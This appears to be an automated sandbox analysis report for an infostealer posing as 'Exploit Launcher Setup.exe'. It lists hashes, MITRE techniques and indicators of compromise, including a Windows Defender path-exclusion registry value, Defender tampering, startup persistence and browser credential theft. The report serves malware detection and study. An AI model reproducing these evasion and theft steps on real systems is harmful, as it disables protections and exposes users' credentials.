8a4f9d4a57a42d0c0daf83926b3b58cdfd4cd760a93df5932417f966f5314678

Analysis

max time kernel
150s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/05/2026, 17:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Exploit Launcher Setup.exe
Size 107.0MB
Sample260522-wf55sscs4j
SHA256 8a4f9d4a57a42d0c0daf83926b3b58cdfd4cd760a93df5932417f966f5314678
MD5 3acf97ad4519726f59eef5705c35134a
SHA1 a24866b8d0972e8667999c2abb1da33825059256
SHA512 822b62cfc6694ca3738fcb5139825023be13aa1ac8b1174057de6ac65bbb6c30022417eaeb61302f40e6dff1e9ae49247b34efba892ea481cffe3e659bbfd22c
SSDEEP 1572864:1BlH6RAsmxxoOdmEY1Snj3Of7LqFdzLcBdyNyB13jSQDOqIWA1M:1BN6SzxxPdms6PqFdncBdyNsSmAK
TLSH
T1983833ACD5B65D7DE4BAF83CE142ADB0014635B66B327B83D7AD2CAD32B14611B3160C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution spyware stealer trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:" /t REG_DWORD /d 0 /f	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6168	powershell.exe
3408	powershell.exe
7192	powershell.exe
672	powershell.exe
1580	powershell.exe
2552	powershell.exe
208	powershell.exe
4740	powershell.exe
3284	powershell.exe
4840	powershell.exe
1304	powershell.exe
6284	powershell.exe
3536	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1304	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
50	4668	OblivionPath.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	OblivionPath.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cscript.exe

Drops startup file 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OblivionPath.lnk	cscript.exe

Executes dropped EXE 47 IoCs

pid	Process
532	OblivionPath.exe
4668	OblivionPath.exe
992	OblivionPath.exe
4288	OblivionPath.exe
5788	MainSource_232e1379ff1e146f.exe
6124	OblivionPath.exe
5944	OblivionPath.exe
6364	WindowsSupport.exe
4968	OblivionPath.exe
1244	OblivionPath.exe
6796	WindowsSupport.exe
6848	WindowsSupport.exe
4836	python.exe
2468	python.exe
1240	python.exe
468	python.exe
8600	python.exe
7936	python.exe
7704	python.exe
4896	python.exe
8044	python.exe
4304	python.exe
8056	python.exe
8112	python.exe
4284	python.exe
5180	python.exe
2328	python.exe
5148	python.exe
7252	python.exe
6788	python.exe
7440	python.exe
4756	python.exe
8920	python.exe
6820	python.exe
6704	python.exe
2284	python.exe
6244	python.exe
8204	python.exe
7856	python.exe
6688	python.exe
8000	python.exe
8248	python.exe
7688	python.exe
6896	python.exe
9124	python.exe
9084	python.exe
3772	python.exe

Loads dropped DLL 64 IoCs

pid	Process
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
532	OblivionPath.exe
532	OblivionPath.exe
4668	OblivionPath.exe
4668	OblivionPath.exe
992	OblivionPath.exe
992	OblivionPath.exe
992	OblivionPath.exe
992	OblivionPath.exe
992	OblivionPath.exe
5788	MainSource_232e1379ff1e146f.exe
5788	MainSource_232e1379ff1e146f.exe
6124	OblivionPath.exe
6124	OblivionPath.exe
5788	MainSource_232e1379ff1e146f.exe
6364	WindowsSupport.exe
5944	OblivionPath.exe
5944	OblivionPath.exe
4968	OblivionPath.exe
4968	OblivionPath.exe
4968	OblivionPath.exe
4968	OblivionPath.exe
4968	OblivionPath.exe
6796	WindowsSupport.exe
6848	WindowsSupport.exe
6796	WindowsSupport.exe
6796	WindowsSupport.exe
6796	WindowsSupport.exe
6796	WindowsSupport.exe
6796	WindowsSupport.exe
4836	python.exe
4836	python.exe
468	python.exe
468	python.exe
2468	python.exe
2468	python.exe
1240	python.exe
1240	python.exe
468	python.exe
468	python.exe
468	python.exe
4836	python.exe
4836	python.exe
4836	python.exe
468	python.exe
4836	python.exe
1240	python.exe
1240	python.exe
1240	python.exe
1240	python.exe
2468	python.exe
2468	python.exe
2468	python.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
77	api.ipify.org
78	api.ipify.org
91	api.ipify.org
100	api.ipify.org
109	api.ipify.org
121	api.ipify.org
128	api.ipify.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates processes with tasklist 1 TTPs 10 IoCs

discovery

Process Discovery

T1057

pid	Process
2976	tasklist.exe
5616	tasklist.exe
5788	tasklist.exe
692	tasklist.exe
3948	tasklist.exe
2116	tasklist.exe
988	tasklist.exe
5712	tasklist.exe
5908	tasklist.exe
3444	tasklist.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\lib	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\src\threading.h	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\LICENSE.electron.txt	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\hi.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\pl.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\sw.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\ur.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi\prebuilds\win32-x64	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\datavault-win\dist	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\vulkan-1.dll	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\am.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\fr.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\deps\extract.js	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\hu.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\sk.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\LICENSE	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\src\gcc-preinclude.h	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\kn.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\ta.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Program Files\OblivionPath\snapshot_blob.bin	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\th.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi\src\main.cpp	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\datavault-win\prebuilds\win32-x64	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Program Files\OblivionPath\locales\he.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\hr.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\ro.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\elevate.exe	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi\LICENSE	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\datavault-win\package.json	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\LICENSES.chromium.html	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\OblivionPath.exe	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\ca.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\lib\trace.js	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\cs.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\fi.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\lib\sqlite3.js	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\af.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\nl.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\datavault-win\prebuilds\win32-x64\node.napi.node	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\datavault-win\src\dpapi_addon.h	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\Uninstall OblivionPath.exe	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\locales	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\id.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi\prebuilds	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\package.json	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\ja.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\zh-CN.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\chrome_100_percent.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\sr.pak	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources	Exploit Launcher Setup.exe
File opened for modification	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\build\Release	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\build\Release\node_sqlite3.node	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\et.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\locales\lv.pak	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi\package.json	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\@primno\dpapi\src\dpapi_win.cpp	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\src\database.h	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\v8_context_snapshot.bin	Exploit Launcher Setup.exe
File created	C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\datavault-win\src\dpapi_win.cpp	Exploit Launcher Setup.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3416	powershell.exe
5680	powershell.exe
3508	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6424	sc.exe
4076	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MainSource_232e1379ff1e146f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Exploit Launcher Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	OblivionPath.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	OblivionPath.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	OblivionPath.exe

Detects videocard installed 1 TTPs 7 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6428	WMIC.exe
8104	WMIC.exe
8060	WMIC.exe
7452	WMIC.exe
7932	WMIC.exe
1868	WMIC.exe
7436	WMIC.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
8456	taskkill.exe
4604	taskkill.exe
5988	taskkill.exe
5620	taskkill.exe
2260	taskkill.exe
7728	taskkill.exe
5164	taskkill.exe
5592	taskkill.exe
8312	taskkill.exe
4876	taskkill.exe
6096	taskkill.exe
8428	taskkill.exe
5160	taskkill.exe
5216	taskkill.exe
8564	taskkill.exe
5184	taskkill.exe
5224	taskkill.exe
7532	taskkill.exe
9064	taskkill.exe
7984	taskkill.exe
1416	taskkill.exe
936	taskkill.exe
2140	taskkill.exe
2124	taskkill.exe
3860	taskkill.exe
7180	taskkill.exe
1176	taskkill.exe
7284	taskkill.exe
7680	taskkill.exe
5052	taskkill.exe
9012	taskkill.exe
9000	taskkill.exe
8896	taskkill.exe
9164	taskkill.exe
8152	taskkill.exe
8460	taskkill.exe
8788	taskkill.exe
1588	taskkill.exe
6936	taskkill.exe
8532	taskkill.exe
8704	taskkill.exe
8336	taskkill.exe
6952	taskkill.exe
8764	taskkill.exe
5556	taskkill.exe
5140	taskkill.exe
5264	taskkill.exe
8228	taskkill.exe
7572	taskkill.exe
7592	taskkill.exe
1652	taskkill.exe
8964	taskkill.exe
8624	taskkill.exe
7088	taskkill.exe
8432	taskkill.exe
6468	taskkill.exe
3004	taskkill.exe
7104	taskkill.exe
5668	taskkill.exe
9072	taskkill.exe
8740	taskkill.exe
5408	taskkill.exe
6044	taskkill.exe
7608	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3416	powershell.exe
3416	powershell.exe
208	powershell.exe
208	powershell.exe
1524	Exploit Launcher Setup.exe
1524	Exploit Launcher Setup.exe
3536	powershell.exe
3536	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
1580	powershell.exe
1580	powershell.exe
1580	powershell.exe
2552	powershell.exe
2552	powershell.exe
2552	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
5680	powershell.exe
5680	powershell.exe
5680	powershell.exe
5680	powershell.exe
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
6284	powershell.exe
6284	powershell.exe
6284	powershell.exe
3284	powershell.exe
3284	powershell.exe
3284	powershell.exe
6168	powershell.exe
6168	powershell.exe
6168	powershell.exe
3408	powershell.exe
3408	powershell.exe
3408	powershell.exe
7192	powershell.exe
7192	powershell.exe
7192	powershell.exe
8600	python.exe
8600	python.exe
8600	python.exe
8600	python.exe
4304	python.exe
4304	python.exe
4304	python.exe
4304	python.exe
2328	python.exe
2328	python.exe
2328	python.exe
2328	python.exe
4756	python.exe
4756	python.exe
4756	python.exe
4756	python.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeIncreaseQuotaPrivilege	3536	powershell.exe
Token: SeSecurityPrivilege	3536	powershell.exe
Token: SeTakeOwnershipPrivilege	3536	powershell.exe
Token: SeLoadDriverPrivilege	3536	powershell.exe
Token: SeSystemProfilePrivilege	3536	powershell.exe
Token: SeSystemtimePrivilege	3536	powershell.exe
Token: SeProfSingleProcessPrivilege	3536	powershell.exe
Token: SeIncBasePriorityPrivilege	3536	powershell.exe
Token: SeCreatePagefilePrivilege	3536	powershell.exe
Token: SeBackupPrivilege	3536	powershell.exe
Token: SeRestorePrivilege	3536	powershell.exe
Token: SeShutdownPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeSystemEnvironmentPrivilege	3536	powershell.exe
Token: SeRemoteShutdownPrivilege	3536	powershell.exe
Token: SeUndockPrivilege	3536	powershell.exe
Token: SeManageVolumePrivilege	3536	powershell.exe
Token: 33	3536	powershell.exe
Token: 34	3536	powershell.exe
Token: 35	3536	powershell.exe
Token: 36	3536	powershell.exe
Token: SeSecurityPrivilege	1524	Exploit Launcher Setup.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeShutdownPrivilege	4668	OblivionPath.exe
Token: SeCreatePagefilePrivilege	4668	OblivionPath.exe
Token: SeDebugPrivilege	2852	taskkill.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	3016	taskkill.exe
Token: SeDebugPrivilege	2612	taskkill.exe
Token: SeDebugPrivilege	3044	taskkill.exe
Token: SeDebugPrivilege	3860	taskkill.exe
Token: SeDebugPrivilege	936	taskkill.exe
Token: SeDebugPrivilege	1588	taskkill.exe
Token: SeShutdownPrivilege	4668	OblivionPath.exe
Token: SeCreatePagefilePrivilege	4668	OblivionPath.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeShutdownPrivilege	4668	OblivionPath.exe
Token: SeCreatePagefilePrivilege	4668	OblivionPath.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	692	tasklist.exe
Token: SeDebugPrivilege	3444	tasklist.exe
Token: SeDebugPrivilege	2976	tasklist.exe
Token: SeDebugPrivilege	3948	tasklist.exe
Token: SeDebugPrivilege	2116	tasklist.exe
Token: SeDebugPrivilege	988	tasklist.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeShutdownPrivilege	4668	OblivionPath.exe
Token: SeCreatePagefilePrivilege	4668	OblivionPath.exe
Token: SeIncreaseQuotaPrivilege	5576	WMIC.exe
Token: SeSecurityPrivilege	5576	WMIC.exe
Token: SeTakeOwnershipPrivilege	5576	WMIC.exe
Token: SeLoadDriverPrivilege	5576	WMIC.exe
Token: SeSystemProfilePrivilege	5576	WMIC.exe
Token: SeSystemtimePrivilege	5576	WMIC.exe
Token: SeProfSingleProcessPrivilege	5576	WMIC.exe
Token: SeIncBasePriorityPrivilege	5576	WMIC.exe
Token: SeCreatePagefilePrivilege	5576	WMIC.exe
Token: SeBackupPrivilege	5576	WMIC.exe
Token: SeRestorePrivilege	5576	WMIC.exe
Token: SeShutdownPrivilege	5576	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 3416	1524	Exploit Launcher Setup.exe	88
PID 1524 wrote to memory of 208	1524	Exploit Launcher Setup.exe	90
PID 1524 wrote to memory of 3536	1524	Exploit Launcher Setup.exe	94
PID 532 wrote to memory of 4668	532	OblivionPath.exe	109
PID 4668 wrote to memory of 1100	4668	OblivionPath.exe	110
PID 1100 wrote to memory of 4840	1100	cmd.exe	112
PID 4668 wrote to memory of 992	4668	OblivionPath.exe	113
PID 4668 wrote to memory of 4288	4668	OblivionPath.exe	114
PID 4668 wrote to memory of 4740	4668	OblivionPath.exe	116
PID 4668 wrote to memory of 5016	4668	OblivionPath.exe	117
PID 5016 wrote to memory of 2852	5016	cmd.exe	157
PID 4668 wrote to memory of 3656	4668	OblivionPath.exe	121
PID 3656 wrote to memory of 3016	3656	cmd.exe	123
PID 4668 wrote to memory of 3492	4668	OblivionPath.exe	124
PID 3492 wrote to memory of 2612	3492	cmd.exe	126
PID 4668 wrote to memory of 3340	4668	OblivionPath.exe	127
PID 3340 wrote to memory of 3044	3340	cmd.exe	146
PID 4668 wrote to memory of 5044	4668	OblivionPath.exe	130
PID 5044 wrote to memory of 3860	5044	cmd.exe	132
PID 4668 wrote to memory of 4012	4668	OblivionPath.exe	133
PID 4012 wrote to memory of 936	4012	cmd.exe	135
PID 4668 wrote to memory of 2476	4668	OblivionPath.exe	136
PID 2476 wrote to memory of 1588	2476	cmd.exe	138
PID 4668 wrote to memory of 4928	4668	OblivionPath.exe	139
PID 4928 wrote to memory of 4676	4928	cmd.exe	141
PID 4676 wrote to memory of 672	4676	cscript.exe	163
PID 4668 wrote to memory of 3416	4668	OblivionPath.exe	144
PID 3416 wrote to memory of 3044	3416	cmd.exe	146
PID 3044 wrote to memory of 1580	3044	cscript.exe	147
PID 4668 wrote to memory of 4840	4668	OblivionPath.exe	149
PID 4840 wrote to memory of 4076	4840	cmd.exe	151
PID 4668 wrote to memory of 3852	4668	OblivionPath.exe	152
PID 3852 wrote to memory of 2552	3852	cmd.exe	154
PID 4668 wrote to memory of 540	4668	OblivionPath.exe	155
PID 540 wrote to memory of 2852	540	cmd.exe	157
PID 4668 wrote to memory of 3256	4668	OblivionPath.exe	158
PID 4668 wrote to memory of 1656	4668	OblivionPath.exe	159
PID 4668 wrote to memory of 212	4668	OblivionPath.exe	161
PID 4668 wrote to memory of 932	4668	OblivionPath.exe	162
PID 4668 wrote to memory of 5024	4668	OblivionPath.exe	164
PID 4668 wrote to memory of 3472	4668	OblivionPath.exe	166
PID 4668 wrote to memory of 976	4668	OblivionPath.exe	167
PID 3256 wrote to memory of 3444	3256	cmd.exe	172
PID 212 wrote to memory of 692	212	cmd.exe	173
PID 3256 wrote to memory of 332	3256	cmd.exe	174
PID 212 wrote to memory of 3232	212	cmd.exe	175
PID 1656 wrote to memory of 3948	1656	cmd.exe	176
PID 1656 wrote to memory of 3888	1656	cmd.exe	177
PID 932 wrote to memory of 2976	932	cmd.exe	178
PID 5024 wrote to memory of 988	5024	cmd.exe	179
PID 976 wrote to memory of 1304	976	cmd.exe	180
PID 3472 wrote to memory of 2116	3472	cmd.exe	181
PID 932 wrote to memory of 1996	932	cmd.exe	182
PID 5024 wrote to memory of 3208	5024	cmd.exe	183
PID 3472 wrote to memory of 4028	3472	cmd.exe	184
PID 4668 wrote to memory of 5248	4668	OblivionPath.exe	185
PID 5248 wrote to memory of 5288	5248	cmd.exe	187
PID 5288 wrote to memory of 5304	5288	net.exe	188
PID 4668 wrote to memory of 5320	4668	OblivionPath.exe	189
PID 4668 wrote to memory of 5328	4668	OblivionPath.exe	190
PID 4668 wrote to memory of 5336	4668	OblivionPath.exe	191
PID 4668 wrote to memory of 5344	4668	OblivionPath.exe	192
PID 4668 wrote to memory of 5352	4668	OblivionPath.exe	193
PID 4668 wrote to memory of 5360	4668	OblivionPath.exe	194

C:\Users\Admin\AppData\Local\Temp\Exploit Launcher Setup.exe
